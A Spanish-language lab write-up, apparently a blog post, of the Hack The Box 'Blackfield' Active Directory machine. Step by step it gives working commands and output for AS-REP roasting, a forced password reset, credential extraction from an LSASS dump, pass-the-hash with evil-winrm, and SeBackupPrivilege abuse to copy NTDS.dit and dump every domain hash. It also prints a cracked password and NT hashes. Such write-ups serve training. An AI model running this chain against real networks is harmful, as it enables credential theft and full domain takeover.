Blackfield

Publicado: 27 de Junio de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Hard OS: Windows

📝 Descripción

Blackfield es una máquina Windows de nivel Hard que presenta un entorno de Active Directory complejo y desafiante. Esta máquina está diseñada para poner a prueba habilidades avanzadas de pentesting en entornos empresariales Windows, incluyendo técnicas de reconocimiento de AD, explotación de privilegios específicos de Windows y escalada de privilegios mediante abuso de funcionalidades del sistema operativo.

La máquina simula un controlador de dominio corporativo con múltiples servicios expuestos, incluyendo SMB, LDAP, Kerberos y WinRM. El vector de ataque inicial requiere un enfoque meticuloso de enumeración para descubrir usuarios válidos del dominio y explotar configuraciones débiles de autenticación.

Objetivos de Aprendizaje:

  • Enumeración avanzada de servicios de Active Directory

  • Técnicas de AS-REP Roasting para obtener hashes de autenticación

  • Explotación de permisos específicos de AD (ForceChangePassword)

  • Análisis forense de volcados de memoria LSASS

  • Abuso del privilegio SeBackupPrivilege para escalada de privilegios

  • Extracción y análisis de la base de datos NTDS.dit


🎯 Información General

Atributo

Valor

Nombre

Blackfield

IP

10.10.10.192

Dificultad

Hard

OS

Windows Server 2019

Puntos

40

Creador

adf11


📊 Resumen de la Explotación

🔗 Cadena de Ataque

graph TD
    A[🔍 Reconocimiento inicial] --> B[🗂️ Enumeración SMB con sesión nula]
    B --> C[👥 Extracción de usuarios via RID Brute Force]
    C --> D[🎫 AS-REP Roasting - Usuario support]
    D --> E[🔓 Cracking offline → support:#00^BlackKnight]
    E --> F[🩸 Análisis con BloodHound]
    F --> G[🔄 Abuso ForceChangePassword → audit2020]
    G --> H[📂 Acceso al recurso SMB forensic]
    H --> I[🧠 Análisis de volcado LSASS con pypykatz]
    I --> J[🔑 Extracción hash NT svc_backup]
    J --> K[💻 Acceso WinRM como svc_backup]
    K --> L[🎫 Identificación privilegio SeBackupPrivilege]
    L --> M[💾 Creación VSS y extracción NTDS.dit]
    M --> N[🔓 Extracción hashes con secretsdump]
    N --> O[👑 Pass-the-Hash como Administrator]

🎯 Puntos Clave

  • Vector inicial: Enumeración SMB sin autenticación

  • Técnica crítica: AS-REP Roasting para obtener primer acceso

  • Escalada lateral: Abuso de permisos AD (ForceChangePassword)

  • Análisis forense: Extracción de credenciales desde volcado LSASS

  • Escalada final: Explotación de SeBackupPrivilege para acceso total


🛠️ Herramientas Utilizadas

Herramienta

Propósito

nmap

Reconocimiento y enumeración de puertos

smbclient

Enumeración de recursos SMB

netexec

Enumeración de usuarios y recursos

impacket

Ataques AS-REP Roasting y Kerberoasting

bloodhound

Análisis de rutas de ataque en AD

pypykatz

Análisis de volcados de memoria LSASS

evil-winrm

Shell interactivo en Windows via WinRM

hashcat

Cracking de hashes


🔭 Reconocimiento

🏓 Ping para verificación en base a TTL

❯ ping -c2 10.10.10.192                                           
PING 10.10.10.192 (10.10.10.192) 56(84) bytes of data.
64 bytes from 10.10.10.192: icmp_seq=1 ttl=127 time=44.6 ms
64 bytes from 10.10.10.192: icmp_seq=2 ttl=127 time=47.6 ms

--- 10.10.10.192 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1011ms
rtt min/avg/max/mdev = 44.611/46.095/47.579/1.484 ms

💡 Nota: El TTL cercano a 128 sugiere que probablemente sea una máquina Windows.

🚀 Escaneo de puertos

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.192 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
echo $ports                                            
53,88,135,389,445,593,3268,5985

🔍 Enumeración de servicios

nmap -sC -sV -p$ports 10.10.10.192 -oN services.txt

Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-26 19:34 CEST
Nmap scan report for 10.10.10.192
Host is up (0.046s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-27 00:36:07Z)
135/tcp  open  msrpc         Microsoft Windows RPC
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-06-27T00:36:11
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 7h01m55s

⚠️ Añadimos el siguiente vhost a nuestro fichero /etc/hosts:

echo "10.10.10.192 blackfield.local" | sudo tee -a /etc/hosts

📋 Análisis de Servicios Detectados

Puerto
Servicio
Descripción

53

DNS

Servicio DNS del dominio

88

Kerberos

Autenticación del dominio

135

MSRPC

Llamadas a procedimientos remotos

389/3268

LDAP

Directorio activo

445

SMB

Recursos compartidos

593

RPC over HTTP

Llamadas RPC via HTTP

5985

WinRM

Administración remota Windows

🔥 Servicios críticos identificados:

  • SMB (445): Potencial acceso a recursos compartidos

  • LDAP (389): Información del directorio activo

  • Kerberos (88): Posibles ataques AS-REP/Kerberoasting

  • WinRM (5985): Shell remoto si obtenemos credenciales


🌐 Enumeración de Servicios

🗂️ SMB (Puerto 445) - Acceso Inicial

Ya que no disponemos de credenciales, comenzamos tratando de enumerar posibles recursos mediante una sesión nula:

📁 Enumeración de recursos compartidos

smbclient -N -L //10.10.10.192         

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	forensic        Disk      Forensic / Audit share.
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	profiles$       Disk      
	SYSVOL          Disk      Logon server share 
netexec smb 10.10.10.192  -u 'anonymous' -p '' --shares 

👥 Enumeración de usuarios

netexec smb 10.10.10.192 -u 'anonymous' -p '' --rid-brute 2>/dev/null | awk -F '\\' '{print $2}' | grep 'SidTypeUser' | sed 's/ (SidTypeUser)//' > Users.txt
Administrator
Guest
krbtgt
DC01$
audit2020
support
BLACKFIELD764430
BLACKFIELD538365
[... usuarios truncados por brevedad ...]
svc_backup
lydericlefebvre
PC01$
PC02$
[... más usuarios ...]

📝 Nota: Se identificaron más de 300 usuarios del dominio mediante RID brute force.

Nos conectamos al recurso profiles$ y descargamos el contenido en nuestro host de ataque, pero tras revisarlo no encontramos nada de interés:

smbclient //10.10.10.192/profiles$ -N -c "recurse ON; prompt OFF; mget *"

🎫 Ataques de Autenticación Kerberos

🎯 AS-REP Roasting

Verificamos si alguno de los usuarios obtenidos no tiene habilitada la pre-autenticación de kerberos y podemos realizar un ataque de tipo AS-Rep Roasting:

impacket-GetNPUsers -dc-ip 10.10.10.192 blackfield.local/ -usersfile Users.txt -format hashcat  

🎉 ¡Éxito! Encontramos que la cuenta support no tiene la pre-autenticación de kerberos habilitada y logramos obtener un ticket.

Alternativa usando kerbrute:

kerbrute userenum --dc 10.10.10.192 -d BLACKFIELD.local ./users.txt --downgrade

🔓 Cracking del Hash

Procedemos a intentar crackearlo usando hashcat y rockyou.txt:

hashcat -m 18200 -a 0 support_kerberos_hash /usr/share/wordlists/rockyou.txt 

🔑 Credencial obtenida: support:#00^BlackKnight

🎪 Verificación Kerberoasting

Intentamos sin éxito un ataque de kerberoasting:

impacket-GetUserSPNs blackfield.local/support:'#00^BlackKnight' -dc-ip 10.10.10.192 -request
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

No entries found!

🩸 Análisis con BloodHound

📊 Recolección de Datos

Ahora que disponemos de una cuenta unida al dominio con credenciales, usamos bloodhound-python para obtener un mapeo del dominio:

Es importante realizar una configuración adicional introduciendo el nombre de la máquina y el FQDN en /etc/hosts:

bloodhound-python -u 'support' -p '#00^BlackKnight' -d blackfield.local -c All --zip -ns 10.10.10.192

🔍 Análisis de Rutas de Ataque

Al cargar los datos en bloodhound vemos que el usuario support tiene el privilegio ForceChangePassword sobre el usuario audit2020:


🔄 Escalada Lateral - Abuso de ForceChangePassword

💡 Explotación del Privilegio

Primero intentamos usar bloodyAD, pero falla debido a restricciones LDAP:

bloodyAD -u 'support' -p '#00^BlackKnight' -d blackfield.local --dc-ip 10.10.10.192 set password audit2020 'Password123!'

Error: LDAPBindException: LDAP Bind failed! Result code: "invalidCredentials"

🛠️ Métodos Alternativos

Método 1: Comando net

net rpc password audit2020 -U 'support' -S 10.10.10.192

Método 2: Comando rpcclient

rpcclient -U 'blackfield.local/support%#00^BlackKnight' 10.10.10.192 -c 'setuserinfo2 audit2020 23 "Password123!"'

📂 Acceso al Recurso Forensic

Una vez cambiada la contraseña, verificamos acceso a recursos compartidos:

netexec smb 10.10.10.192 -u audit2020 -p 'Password123!' --shares

🎯 ¡Acceso obtenido! Tenemos permisos de lectura sobre el recurso forensic.


🕵️ Análisis Forense

📥 Descarga de Archivos

Nos conectamos al recurso forensic y descargamos el contenido:

smbclient \\\\10.10.10.192\\forensic -U "audit2020"
# O alternativamente:
sudo mount -t cifs //10.10.10.192/forensic /mnt/forensic -o 'username=audit2020,password=Password123!'

🗂️ Estructura de Archivos Encontrados

  1. commands_output: Volcados de comandos ejecutados en la máquina

  2. memory_analysis: Archivos comprimidos con volcados de memoria

  3. tools: Herramientas como sysinternals y volatility

🧠 Análisis del Volcado LSASS

El archivo más crítico encontrado es lsass.zip:

unzip lsass.zip

🔧 Uso de pypykatz

Instalamos y usamos pypykatz para analizar el volcado:

pip3 install pypykatz
pypykatz lsa minidump lsass.DMP > resultados.txt

🔑 Extracción de Hashes

Usuario
Hash NT
Estado

svc_backup

9658d1d1dcd9250115e2205d9f48400d

✅ Válido

DC01$

b624dc83a27cc29da11d9bf25efea796

❌ Inválido

Administrator

7f1e4ff8c6a8e6b6fcae2d9c0572cd62

❌ Inválido


💻 Acceso Inicial al Sistema

🏃 Conexión WinRM

Utilizamos el hash válido de svc_backup para conectarnos:

evil-winrm -i 10.10.10.192 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'

🏁 Primera Flag

*Evil-WinRM* PS C:\Users\svc_backup\Desktop> type user.txt
[USER FLAG OBTENIDA]

📋 Enumeración de Privilegios

En el directorio C:\ encontramos un archivo notes.txt con información adicional.

Información crítica identificada:

  • ✅ Pertenece al grupo Backup Operators

  • ✅ Tiene el privilegio SeBackupPrivilege habilitado


🎁 Escalada de Privilegios - Abuso de SeBackupPrivilege

💡 Concepto del Ataque

El privilegio SeBackupPrivilege permite realizar copias de seguridad de archivos críticos del sistema:

  • SYSTEM (Clave de registro del sistema)

  • SAM (Security Account Manager)

  • NTDS.dit (Base de datos de Active Directory)

📋 Preparación del Entorno

Paso 1: Crear script VSS para montar copia de volumen:

cat > vss.dsh << 'EOF'
set context persistent nowriters
set metadata c:\\Windows\\Temp\\test.cab
set verbose on
add volume c: alias test
create
expose %test% z:
EOF
unix2dos vss.dsh

Paso 2: Descargar DLLs necesarias:

wget https://github.com/k4sth4/SeBackupPrivilege/raw/refs/heads/main/SeBackupPrivilegeCmdLets.dll
wget https://github.com/k4sth4/SeBackupPrivilege/raw/refs/heads/main/SeBackupPrivilegeUtils.dll

Paso 3: Transferir archivos al host víctima:

upload vss.dsh c:\\Temp\\vss.dsh
upload SeBackupPrivilegeCmdLets.dll c:\\Temp\\SeBackupPrivilegeCmdLets.dll  
upload SeBackupPrivilegeUtils.dll c:\\Temp\\SeBackupPrivilegeUtils.dll

💾 Extracción de la Base de Datos NTDS

Paso 4: Ejecutar script VSS:

*Evil-WinRM* PS C:\Temp> diskshadow /s c:\\Temp\\vss.dsh

Paso 5: Extraer archivos críticos:

# Importar módulos de SeBackupPrivilege
*Evil-WinRM* PS C:\Temp> Import-Module .\SeBackupPrivilegeCmdLets.dll
*Evil-WinRM* PS C:\Temp> Import-Module .\SeBackupPrivilegeUtils.dll

# Copiar NTDS.dit desde la copia de volumen
*Evil-WinRM* PS C:\Temp> Copy-FileSeBackupPrivilege z:\\Windows\\ntds\\ntds.dit c:\\Temp\\ntds.dit

# Extraer claves de registro SYSTEM
*Evil-WinRM* PS C:\Temp> reg save HKLM\SYSTEM SYSTEM.SAV

🔓 Extracción de Todos los Hashes

Descargamos los archivos críticos a nuestro host atacante:

download ntds.dit
download SYSTEM.SAV

Utilizamos impacket-secretsdump para extraer todos los hashes del dominio:

impacket-secretsdump -ntds ntds.dit -system SYSTEM.SAV -hashes lmhash:nthash LOCAL > hashes_blackfield_domain

👑 Acceso como Administrator

🔥 Pass-the-Hash Final

Con el hash NT del Administrator extraído, realizamos el ataque final:

evil-winrm -i 10.10.10.192 -u 'Administrator' -H '184fb5e5178480be64824d4cd53b99ee'

🏆 Flag Final

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
[ROOT FLAG OBTENIDA]

Last updated